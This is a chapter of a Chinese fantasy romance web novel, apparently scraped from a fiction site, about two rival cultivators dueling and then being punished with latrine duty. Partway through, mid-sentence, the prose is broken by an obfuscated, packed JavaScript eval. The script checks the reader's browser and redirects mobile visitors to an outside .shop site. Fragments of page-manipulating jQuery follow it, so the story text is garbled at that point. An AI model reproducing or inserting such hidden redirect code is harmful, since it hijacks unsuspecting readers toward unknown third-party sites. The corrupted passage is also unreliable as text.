文趣网 > 其他小说 > 咸鱼被恋爱脑缠上了 > 3. 苦亦果
    许飒一脚踹开房门。

    门外场景变了,人山人海,里面鹤立鸡群超然出众一个人,似乎还挺眼熟。

    “嘭”,许飒果断地将门阖上。

    身后萧泽叽叽喳喳:“卿卿,一日夫妻百日恩。”

    许飒深吸一口气,现在装晕还来不来得及。

    她素来情绪稳定,修炼无情道多年早已学会如何隐藏本性,可多年的道行在萧泽这里频频爆发,她快气死了,而她确实在这个死对头面前很难维持稳重。

    她咬牙切齿回头道:“打一架。”

    她现在就想不管不顾地把萧泽揍一顿,之后的事之后再说吧。

    她悟到的真理是,活在当下。

    “床头打架床尾和?”萧泽缠上来。

    见他还有心情开玩笑,许飒忍无可忍,召唤遇安剑劈头盖脸地用剑柄揍了他一顿,又觉得颇为不爽,“打一架,赢了我是你娘,输了我听你的。”

    萧泽只躲闪并未出手接招,姿态洒脱,从容不迫,爽朗一笑,“呵,我爹没我嫩,他上西天会比我去得早,还是跟我吧。况且,我怕下手没轻没重伤着我的宝贝。”

    许飒怒极反笑,“逆子,拔剑。”

    遇安剑磨磨蹭蹭出鞘,许飒轻握着剑柄挽了个剑花,剑尖直指萧泽。

    萧泽见状只好唤出世争剑,出鞘发出铮铮声。

    遇安剑好久未见世争剑,激动得在许飒手里鸣叫,震动之频繁她几乎握不住,蹙眉小声喊它,“安静点,等我打完。”

    她颇为不满遇安剑这么没有出息,在死对头面前丢大了。

    “那便切磋切磋,自上次大比过去我还未曾向你讨教一番。”萧泽眉眼一笑,摆了个抱剑礼姿势。

    刀光剑影,飞速而过,许飒出招迅猛,一个劈剑从上向下挥动,直击他面门。

    萧泽滑步下退闪过,无奈一笑,“卿卿,你还真是丝毫不让。”

    “少废话!”许飒出剑灵巧和速度并重,招式出其不意攻其不备,让人防不胜防。

    剑光忽明忽暗,令人眼花缭乱,许飒一个剑式划破萧泽的领口,他本就遮挡不住的衣襟更是摇摇欲坠要露不露,增添几分暧昧。

    萧泽眉挑起,他轻笑着扯下身上碎成稀烂的布条,“卿卿,不必迫不及待,我可主动脱给你,私下好好观赏。”

    许飒恼羞成怒,嘴唇抿成线,一道符咒甩在他身上,无形的绳索似铁捆住他的四肢,“不会穿衣服就让娘来教你。”

    “我比你年长,还是当我娘子吧。”萧泽不慌不乱吹了口气,符咒轻飘飘地掉落在地,他立地自转换了身装扮,玄色衣袍紧裹身躯,腰间革带勒显出身形。

    许飒持剑当刀似的大砍过来,“拿出你的实力。”

    剑锋擦着萧泽脸庞而过,被他一个旋身偏过,许飒不依不饶乘胜追击。

    萧泽持剑挡过这击重剑,他逐渐吃力,他咬着牙悲痛欲绝地问:“卿卿,你当真是绝情呐。”

    许飒不语,神情认真,蹬着墙借力飞身而至,剑法迅猛一剑刺出直击萧泽要害。

    遇安剑划破长空——

    萧泽忽地放下招式阖上眼,背剑而立,停在原地不再防守。

    剑锋只离萧泽咫尺便可瞬间一刀毙命。

    许飒睁大了双眼。

    两人过招动静之大,震惊门外,众人窃窃私语。

    沉屹然将弟子们的谈话听在耳里,他摇着折扇慢悠悠地扇风,嘴边勾起一抹笑,“萧师兄同许师妹向来不合,好似与往常不同了呀。”

    他用折扇遮住半张脸装作无意偏头对上身旁仙风道骨遗世独立的诸葛煜,玩味地观察他的神情。

    “闭。”诸葛煜面无神色,藏在袖中的手掌微不可察地揉搓扳指。

    沉屹然瞥看诸葛煜一眼,单侧嘴角上扬,眼色玩味,故意煽风点火,“听闻两人前不久下山历练情根深种情难自抑,于是种下情劫蛊。”

    “此蛊自来无解,生生世世永不分离。”

    见诸葛煜情绪淡然,沉屹然略有些失望,决定继续加把火,他张张嘴,一个字也蹦不出,才发觉诸葛煜竟给他下了禁言术,他气急败坏地跺脚。

    屋里突地“砰”一声,房门掀翻,两个身影从其中翻滚出来,惊扰了诸葛煜、沉屹然一干人等。

    只见萧泽衣衫不整地滚在地下,他严严实实地将许飒抱在怀里替她垫背。

    双双狼狈不堪,许飒大腿紧缠着萧泽的腰,剑柄抵在他的咽喉处,两人姿势如同水上交颈厮磨的鸳鸯。

    远远的看,一对璧人般配无比,佳偶天成。

    “放肆!”诸葛煜厉声呵斥。

    他上前一把拉起许飒,偏偏萧泽还不肯放手,手紧紧箍着她的腰肢,眼神像护食的狼。

    诸葛煜神色冰冷,微微使劲将两人分开,又亲手从地上扶起萧泽,手碰到他肩膀时微微一怔,“你的脸?”

    萧泽没答话,挣开他的手,顶着鼻青脸肿得意洋洋地绕到许飒面前,“卿卿,你当真舍不得我。”

    诸葛煜的手僵在半空,愣了愣。

    许飒不语,低头拍了拍身上的灰尘,脑子里还在回放方才那一幕。

    就在片刻前,萧泽一副视死如归的架势站在她面前,她鬼使神差地觉得他可怜,剑锋偏了一寸,拐了个弯绕过萧泽,利落收剑。

    却不想,萧泽身形一晃到了她身后,一手扣住她的腰,剑柄半出鞘抵在她喉间,低头凑近她耳边,声音带着笑,“兵不厌诈。”

    可恶。

    许飒恨恨地捏紧衣袖。

    她回过神,笑着转向诸葛煜,“我没事,多谢师兄,对了,师兄们为何在此?”

    沉屹然指着自己的嘴打了个手势。

    许飒似懂非懂看完颔首。

    沉屹然回敬她一个全方位旋转的白眼。

    诸葛煜的目光从萧泽脸上缓缓扫到他身上,眼神沉了沉。

    萧泽在一旁看着许飒和沉屹然比划,两人举止亲密,冷嗤一声,见诸葛煜望过来,他毫不客气地盯了回去。

    诸葛煜见他无碍,目光转向许飒,眼底掠过一丝冷意,语气淡了下来,“路过,不料你如此不成器,此次你任务未成,罚。”

    许飒只觉耳旁“轰隆”一声,五雷轰顶,天塌了。

    “是…”许飒丧丧地点点头。

    许飒心拔凉拔凉地离开。

    萧泽朝沉屹然点头打过招呼后,意欲追上许飒。

    一道残影落在他身前,诸葛煜挡了他的路。

    萧泽素来最看不惯诸葛煜,许飒不在,他也懒得再装,面若寒霜,“何事?”

    “你们不是一路人,你离她远点。”

    萧泽神情不耐烦,“你同她更不是。”

    “缘分岂可强求。”

    萧泽闻言,抬眼与诸葛煜对视,嘴角勾起诡异的幅度,“若我偏要强求呢,苦果亦是果,我甘之如饴。”

    “我劝你少多管闲事。”萧泽身形已淡,随影移形。

    原地只剩一道消散的轮廓,诸葛煜站在萧泽方才的位置,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17721247|208663||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    神色隐在暗处,看不清喜怒。

    沉屹然凑过来,用肩膀拱了拱诸葛煜,指了指自己。

    诸葛煜没回头,拂袖而去。

    沉屹然:…一个两个都拿我当木偶戏?

    -

    茅厕。

    “洗刷刷洗刷刷,我爱干净我爱洗澡。”许飒两鼻孔各塞着纸团,她好心情地哼着歌。

    歌声配合着‘唰唰唰’的节拍伴奏此起彼伏,构成动听的炫乐。

    一曲毕,许飒催促道,“快点,赶着用膳。”

    "不急。"萧泽蒙着面纱慢悠悠地动作。

    时间倒流一刻钟前。

    许飒习以为常地来茅厕领罚,这是无情道的规矩,目的是令受罚者深刻体会,记忆尤深,领悟人生。

    凡是来此地受罚的弟子无一不哀声怨道,谨记教训,绝不再犯。

    茅房一排十二间,象征太平宗十二道系,一间又分三个坑位,为另受罚的弟子深刻反省,严禁使用法术,因此打扫一天相当于精神上的酷刑也不为过。

    许飒捏着鼻子小心翼翼跨进去,她偏头寻找竹刷,上面沾着不知名的物品,她硬着头皮抓起竹柄去刷茅坑。

    一看,更是叹为观止。

    大师兄罚得真狠,也不知道大师兄怎么能这么狠心,半点都没说要罚萧泽那厮,还颇为偏袒,甚至在师傅面前说什么如果不是她误事,任务早就完成了,有时候她真怀疑师兄才是合欢道的大师兄呢,处处放过萧泽。

    真想奴隶萧泽来干活,凭什么受苦受难的只有她啊,不公平!

    对,凭什么感受世间无常的好事只有她呢。

    许飒手撑着下颌,敲定主意。

    情劫蛊同心共感,许飒不愿用,剑指在空中随意写了个“见”字传书过去。

    金色的字迹卷成一团飘飘扬扬带去她的话。

    许飒叩动指节敲击等待。

    待萧泽特地换了身隆重的衣裳赶来时就看到许飒一改往日,莞尔一笑轻声问他,“脸好了?”

    萧泽单侧眉毛微微上挑,“你给的本想好好珍藏,可惜在脸上,回头都不好意思勾引你。”

    许飒:骚不过你。

    她收起笑容指了指茅房。

    萧泽了然,他话不多说召唤出小纸人,分出几丝精气注入它们的本体,一一下达指令。

    见状许飒伸了个懒腰果断跑路。

    “卿卿,用人朝前,不用人朝后?”萧泽喊住她。

    果然如此,许飒头疼欲裂,半点听不得他叫唤自己,倒霉透了,以前对上就没好事,况且宗门大比对上赢了之后,总能在门派里听到一些谈论他们二人的声音。

    她刚想说话,只见不远处有个弟子挤眉弄眼地拉拢一群人凑在一起。

    却被萧泽好奇地拉过走至拐角处,刚好能容忍人光明正大的听。

    许飒不想跟他混在一起,偷听非君子所为,她刚想上前,就被一句话挽留了脚步。

    “听说,萧泽衣衫不整和许飒厮混在一起。”

    许飒双耳竖立:嗯?听八卦没想到竟是自己的风流韵事。

    “听我说,我从舅家的姥爷的媳妇的二舅奶的闺女的妈的堂哥家的儿子那打探到的,萧泽和许飒早已私定终身,跪拜喜堂了。”弟子乙。

    私定终身???谁通知她本人了???

    论听八卦结果听到八卦人物是自己是什么体验,又论听八卦和绯闻者在一起是什么巧合。。。

    又又又论八卦传播点在茅厕是何体会?